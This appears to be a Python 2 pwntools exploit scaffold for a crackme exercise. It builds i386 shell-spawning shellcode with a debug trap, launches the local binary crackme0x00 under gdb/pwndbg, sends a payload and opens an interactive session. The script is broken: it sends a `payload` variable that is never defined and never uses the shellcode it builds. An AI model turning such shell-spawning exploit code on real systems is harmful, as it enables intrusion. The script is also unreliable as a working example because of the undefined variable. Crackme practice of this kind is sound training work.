#!/usr/bin/env python2

from pwn import *

context.update(arch='i386', os='linux')

shellcode = shellcraft.sh()

context.terminal = ['tmux', 'splitw', '-v']

# Shellcode should already be constructed before this point
shellcode = asm(shellcraft.trap()) + shellcode

p = process("./crackme0x00")
gdb.attach(p, "continue", gdb_args=["-ex", "init-pwndbg"])
p.sendline(payload)
p.poll(block = True)

p.interactive()
